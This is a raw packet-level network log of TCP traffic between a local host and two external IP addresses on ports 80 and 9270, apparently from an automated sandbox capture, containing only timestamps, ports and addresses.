Dec 15, 2024 11:59:50.632564068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.632608891 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.633522034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.633569002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.633645058 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.633687973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.634654045 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.634705067 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.634773970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.634819984 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.635757923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.635808945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.635871887 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.635917902 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.636853933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.636903048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.636971951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.637018919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.637953043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.638003111 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.638071060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.638118029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.639065981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.639118910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.639199972 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.639245987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.640155077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.640211105 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.640331030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.640377045 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.641207933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.641258001 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.751789093 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:50.775844097 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.776034117 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.776035070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.776334047 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.776397943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.776472092 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.776521921 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.777451992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.777652979 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.777705908 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.778537989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.778634071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.778685093 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.779728889 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.779820919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.779874086 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.780744076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.780795097 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.780797958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.781819105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.781872988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.782013893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.782928944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.782963991 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.782984018 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.783015013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.784054995 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.784120083 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.784231901 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.784286022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.785178900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.785214901 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.785248995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.785248995 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.786252975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.786329985 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.786369085 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.787339926 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.787400961 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.787446976 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.788393021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.788430929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.788544893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.788599968 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.789592981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.789696932 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.789766073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.790705919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.790765047 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.790812969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.791686058 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.791698933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.791748047 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.791923046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.791975975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.792834997 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.792896986 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.792958975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.793138027 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.793572903 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.794049025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.794229031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.794284105 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.795006990 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.795159101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.795217037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.796135902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.796253920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.796309948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.797213078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.797264099 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.797344923 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.798320055 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.798376083 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.798428059 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.799442053 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.799495935 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.799629927 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.799681902 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.800529957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.800659895 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.800714970 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.801697016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.801773071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.801826954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.802722931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.802776098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.802845001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.803739071 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.803828001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.803878069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.803960085 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.804009914 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.804934025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.804981947 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.805028915 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.805078983 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.806092024 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.806145906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.806272030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.806322098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.807164907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.807214022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.807235956 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.807282925 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.808274031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.808418989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.808470964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.809401989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.809453011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.809509039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.810424089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.810476065 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.810534000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.811532021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.811583996 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.811677933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.811742067 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.812664986 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.812774897 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.812823057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.813811064 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.813863993 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.813918114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.814857006 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.814905882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.814974070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.815629005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.815942049 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.815992117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.816072941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.816118956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.817042112 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.817092896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.817161083 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.817209959 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.818135977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.818187952 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.818303108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.818350077 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.819226980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.819281101 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.819363117 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.819413900 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.820317984 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.820468903 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.820522070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.821425915 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.821548939 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.821604013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.822530985 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.822582006 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.822650909 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.823623896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.823709011 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.823766947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.823817968 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.824755907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.824898958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.824950933 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.825843096 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.825896025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.825952053 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.826977968 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.827029943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.827054977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.827732086 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.828115940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.828164101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.828176975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.828211069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.829411983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.829466105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.829471111 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.829515934 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.830296040 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.830389023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.830451012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.831449032 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.831561089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.831617117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.832765102 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.832844019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.832897902 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.833673000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.833745003 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.913321972 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:50.963207960 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.974598885 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.974679947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.974757910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.975090027 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.975146055 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.975178957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.975943089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.975996017 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.975997925 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.977066040 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.977121115 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.977214098 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.977266073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.980319023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.980881929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.981285095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.981436014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.981508017 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.981542110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.981560946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.981576920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.981599092 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.981612921 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.982224941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.982259989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.982279062 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.982279062 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.982316017 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.983254910 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.983443022 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.983503103 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.984512091 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.984546900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.984601021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.985388994 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.985440969 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.985569954 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.985625029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.986696959 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.986730099 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.986747980 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.986780882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.987808943 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.987844944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.987858057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.987888098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.988713980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.988908052 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.988971949 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.989811897 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.989995956 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.990051031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.990932941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.991020918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.991106987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.991592884 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.992058992 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.992096901 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.992113113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.992144108 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.993139029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.993201017 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.993329048 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.993626118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.994065046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.994117022 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.994240999 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.994291067 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.995213032 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.995265007 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.995372057 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.995423079 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.996282101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.996335030 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.996471882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.996524096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.997495890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.997545958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.997674942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.997745037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.998811007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.998845100 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.998867989 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.998898029 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.999631882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.999666929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.999686003 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.999716997 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.999989033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.000041962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.000102997 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.000216961 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.002440929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.002474070 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.002489090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.002518892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.003530025 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.003592014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.003724098 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.003779888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.004343987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.004379034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.004395008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.004420042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.005187988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.005238056 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.005323887 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.005373955 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.005713940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.005748987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.005762100 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.006247044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.006577969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.006634951 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.006707907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.007147074 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.007690907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:51.007749081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:51.007796049 CET	80	49857	185.215.113.16	192.168.2.4
